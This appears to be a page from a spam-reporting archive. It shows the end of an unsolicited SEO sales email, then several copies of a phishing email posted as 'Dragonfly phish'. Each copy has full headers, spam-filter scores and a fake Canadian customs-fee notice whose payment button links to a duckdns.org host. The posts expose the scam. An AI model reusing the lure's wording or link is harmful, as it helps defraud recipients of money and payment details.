=?us-ascii?Q?lFGt4qXICjpbA0vsYp0OY3RBLBWQfMvS2pqIOjq+ahb7hy6B/84DRZrMl+kJ?=

=?us-ascii?Q?FwSEnH1Gj5PNT2mwyDaQk/9qPJRsjyDtTQyGjih1SBOq9EIK9WXdVKT49C2X?=

=?us-ascii?Q?LJ1ipFO8zbXA9AuYKs0Lm7wrADR3Ok84SSfuRhYKDGO07wgOJuInb+QdLC+6?=

=?us-ascii?Q?FTmj8UoOZ0Nm8sTtTQRxFZ55XAmeTcZHx7C9Y/gw1PlSyjygELa3VqPQ0uHh?=

=?us-ascii?Q?tObIRnCU3MU=3D?=

Content-Type: multipart/alternative;

boundary="_000_TY2PPFFD5F4C14137A78FEAB4E872962092BA712TY2PPFFD5F4C141_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: TY2PPFFD5F4C141.apcprd06.prod.outlook.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: 3057dfab-2a91-4b9c-85cc-08df3fac172b

X-MS-Exchange-CrossTenant-originalarrivaltime: 11 Nov 2026 04:27:26.5527

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: SEYPR06MB8221



--_000_TY2PPFFD5F4C14137A78FEAB4E872962092BA712TY2PPFFD5F4C141_

Content-Type: text/plain; charset="us-ascii"

Content-Transfer-Encoding: quoted-printable



Hello

I'm still waiting for your response.

Can I send you our best offer & price with work activities?

Thank you,

Puja



________________________________

From: Puja Gupta

Sent: Tuesday, September 29, 2026 5:17 PM

Subject: Proposal



Hi,



Hope you are doing well.



Google SEO is changing fast. Customers are now using ChatGPT, Gemini, Perpl=

exity and Google AI to find businesses and make buying decisions.



We help businesses build visibility across SEO + AEO + GEO so they can be f=

ound on Google as well as AI search.



We can prepare a free AI Search Visibility Audit for your website, includin=

g competitor gaps and opportunities.



If the opportunity looks right, we can discuss a complete monthly growth pl=

an.



Interested?



Thanks,

Puja





--_000_TY2PPFFD5F4C14137A78FEAB4E872962092BA712TY2PPFFD5F4C141_

Content-Type: text/html; charset="us-ascii"

Content-Transfer-Encoding: quoted-printable








>








8pt; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri,=

Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Hello



8pt; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri,=

Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

I'm still waiting for your response.



8pt; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri,=

Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Can I send you our best offer & price with work activities?
>


8pt; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri,=

Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Thank you,



8pt; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSFontService, Calibri,=

Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);">

Puja



nt, Aptos_MSFontService, Calibri, Helvetica, sans-serif; font-size: 12pt; c=

olor: rgb(0, 0, 0);">











yle=3D"font-size:11pt" color=3D"#000000">From: Puja Gupta


Sent: Tuesday, September 29, 2026 5:17 PM


Subject: Proposal

 









8pt; font-family:Aptos,Aptos_EmbeddedFont,Aptos_MSFontService,Calibri,Helve=

tica,sans-serif; font-size:12pt; color:rgb(0,0,0)">

Hi,





Hope you are doing well.





Google SEO is changing fast. Customers are now using ChatGPT, Gemini, Perpl=

exity and Google AI to find businesses and make buying decisions.





We help businesses build visibility across SEO + AEO + GEO so they can be f=

ound on Google as well as AI search.





We can prepare a free AI Search Visibility Audit for your website, includin=

g competitor gaps and opportunities.





If the opportunity looks right, we can discuss a complete monthly growth pl=

an.





Interested?





Thanks,


Puja



nt,Aptos_MSFontService,Calibri,Helvetica,sans-serif; font-size:12pt; color:=

rgb(0,0,0)">














--_000_TY2PPFFD5F4C14137A78FEAB4E872962092BA712TY2PPFFD5F4C141_--

Dragonfly phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 21:34:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQz5q-00000000OKf-0F8t

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 21:33:50 -0600

Resent-From: The Doctor

Resent-Date: Tue, 10 Nov 2026 21:33:49 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from us19.acugis-dns.com ([152.53.80.197]:59852)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQvgn-00000000FXD-2cxF

for doctor@nk.ca;

Tue, 10 Nov 2026 17:55:48 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=llanogas.webgis1.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Unsubscribe-Post:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=CNLLG+q/NrzvggOFJw4nyhoJqTyiqAh9UheFqURKN/M=; b=Gwek8L1BIeSUry+M0f2+GIdThX

tESHa7ridL3WXn2jTvQH2ZJGrRjLBj9RMOPE5zv3rwBBU/nQGs93+AEzSX45SUTFQAaze69k3rR/T

whYBkljxjAEDuelwb2KDQzxaDxOeYDqJ2/SeXLFO4eoGLGf1765W5rzdW8j7CjQzBhUnFfpX/MyhH

mQuQW04NOr9OD5VtskboyEjnP4h4GsYG4NiSQ8FsljaSoIwxIuo5L0GKHMkak9T9hXP60hU3qp0sj

e+SlFO8vxYxsp3LscaclfqJmHOUiiOtkSGrZ9MwkNXCc8UNqSLd+CwfTh/NX4aD6GpubJzQbCns04

ha3ERGrw==;

Received: from [160.179.183.202] (port=51961 helo=[127.0.0.1])

by us19.acugis-dns.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1)

(envelope-from )

id 1xQvfl-0000000Gkr8-43S6

for doctor@nk.ca;

Wed, 11 Nov 2026 00:54:41 +0100

Content-Type: text/html

From: Dragonfly

To: doctor@nk.ca

Subject: Dragonfly Delivery Notification

Message-ID: <422e78b4-c233-8bf0-6bb1-851aa796b844@llanogas.webgis1.com>

Content-Transfer-Encoding: quoted-printable

Date: Tue, 10 Nov 2026 23:54:39 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - us19.acugis-dns.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - llanogas.webgis1.com

X-Get-Message-Sender-Via: us19.acugis-dns.com: authenticated_id: info-pvix@llanogas.webgis1.com

X-Authenticated-Sender: us19.acugis-dns.com: info-pvix@llanogas.webgis1.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (6.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[152.53.80.197 listed in bl.score.senderscore.com]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-exp.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Dragonfly phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 17:56:00 -0600

Received: from us19.acugis-dns.com ([152.53.80.197]:59836)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQvgn-00000000FX8-2cv4

for dave@nl2k.ab.ca;

Tue, 10 Nov 2026 17:55:51 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=llanogas.webgis1.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Unsubscribe-Post:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=CNLLG+q/NrzvggOFJw4nyhoJqTyiqAh9UheFqURKN/M=; b=yywKF7aneKfM6raLIoH75//0Mr

DuA8ncGabG2bPetOMmJPAYsc9F8Tla32kgeuGTcYqwnk+9kJIxI0wL76ViGg+Mb4PHT8cx3HCVs3r

QjegwtU0EPQfZ4uG9ZZaYOTF3tm5llaPLULbrk1dwJsDptX1x94kbw9l7WYPUPY98JaXcPBbSBSvl

oEg7wFi7Am5jm6euRs87NSZAd3pusHw7LJ78dLUrf7Hmz+5W0iev1qb6dheuMpbCtup0cZgM/QSKv

11ZKaUIRVeWkYkVV/cqtQqcjh+PucQQYlj2avreP7ecJxNzQR30tXtalMU7FhtpgSEb5SwJ5TYtfI

VCAdaFuQ==;

Received: from [160.179.183.202] (port=51954 helo=[127.0.0.1])

by us19.acugis-dns.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1)

(envelope-from )

id 1xQvfl-0000000GkqP-1Tqr

for dave@nl2k.ab.ca;

Wed, 11 Nov 2026 00:54:40 +0100

Content-Type: text/html

From: Dragonfly

To: dave@nl2k.ab.ca

Subject: Dragonfly Delivery Notification

Message-ID: <4c2daa55-ab2b-c955-062e-0834ea74ca11@llanogas.webgis1.com>

Content-Transfer-Encoding: quoted-printable

Date: Tue, 10 Nov 2026 23:54:38 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - us19.acugis-dns.com

X-AntiAbuse: Original Domain - nl2k.ab.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - llanogas.webgis1.com

X-Get-Message-Sender-Via: us19.acugis-dns.com: authenticated_id: info-pvix@llanogas.webgis1.com

X-Authenticated-Sender: us19.acugis-dns.com: info-pvix@llanogas.webgis1.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (6.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[152.53.80.197 listed in bl.score.senderscore.com]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[160.179.183.202 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-exp.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Dragonfly phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@nk.ca

Delivery-date: Tue, 10 Nov 2026 17:56:00 -0600

Received: from us19.acugis-dns.com ([152.53.80.197]:59820)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQvgf-00000000FX1-2DfL

for dave@nk.ca;

Tue, 10 Nov 2026 17:55:44 -0600

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=llanogas.webgis1.com; s=default; h=MIME-Version:Date:

Content-Transfer-Encoding:Message-ID:Subject:To:From:Content-Type:Sender:

Reply-To:Cc:Content-ID:Content-Description:Resent-Date:Resent-From:

Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:

List-Id:List-Help:List-Unsubscribe:List-Unsubscribe-Post:List-Subscribe:

List-Post:List-Owner:List-Archive;

bh=CNLLG+q/NrzvggOFJw4nyhoJqTyiqAh9UheFqURKN/M=; b=KVY/rOVpgTFlWelAcPKqCRBC4+

A4d1iNbKAHu61VpKvmebROXUSREbam56GtvE8+f+O3wpPG+Ug9AYpYSvWnWIH2PUmpHA28HwSofiy

UVv5kh6aLlNhT6BkVY+6WqZlWLeA40NcnX27ELxOe3HiTSfJI6AwYer+RrbJP6De3itCD5t2U8/Hc

FoLha0aoxa2Q8e4SiX7VM0JNB/YQFk+p9DbUdZwc2wy/Wan6UYY3Z2slqYIT1xMCo1g4owIQnQ20r

VRpqKFqW3rlqynms4ceP40wotjypNEcOUJr11gfjxIxDsVNZv3bi6rbp3udc/o+HGOclh3cZiOtcg

vpzH3YGg==;

Received: from [160.179.183.202] (port=51951 helo=[127.0.0.1])

by us19.acugis-dns.com with esmtpsa (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.100.1)

(envelope-from )

id 1xQvfk-0000000GkpH-0LuD

for dave@nk.ca;

Wed, 11 Nov 2026 00:54:39 +0100

Content-Type: text/html

From: Dragonfly

To: dave@nk.ca

Subject: Dragonfly Delivery Notification

Message-ID: <8bbcec54-ac4d-efb8-d180-72932946cd97@llanogas.webgis1.com>

Content-Transfer-Encoding: quoted-printable

Date: Tue, 10 Nov 2026 23:54:37 +0000

MIME-Version: 1.0

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - us19.acugis-dns.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - llanogas.webgis1.com

X-Get-Message-Sender-Via: us19.acugis-dns.com: authenticated_id: info-pvix@llanogas.webgis1.com

X-Authenticated-Sender: us19.acugis-dns.com: info-pvix@llanogas.webgis1.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 6.2

X-Spam_score_int: 62

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (6.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[152.53.80.197 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

[160.179.183.202 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[152.53.80.197 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[152.53.80.197 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[152.53.80.197 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[152.53.80.197 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[152.53.80.197 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

[160.179.183.202 listed in will-spam-for-food.eu.org]

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[152.53.80.197 listed in bl.score.senderscore.com]

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-exp.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.











Dragonfly phish

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 10 Nov 2026 21:34:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQz5Z-00000000OIq-0omP

for dave@doctor.nl2k.ab.ca;

Tue, 10 Nov 2026 21:33:33 -0600

Resent-From: The Doctor

Resent-Date: Tue, 10 Nov 2026 21:33:33 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from us19.acugis-dns.com ([152.53.80.197]:59810)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100.1 (FreeBSD))

(envelope-from )

id 1xQvgm-00000000FWz-0MFo

for root@nk.ca;

Tue, 10 Nov 2026 17:55:51 -0600

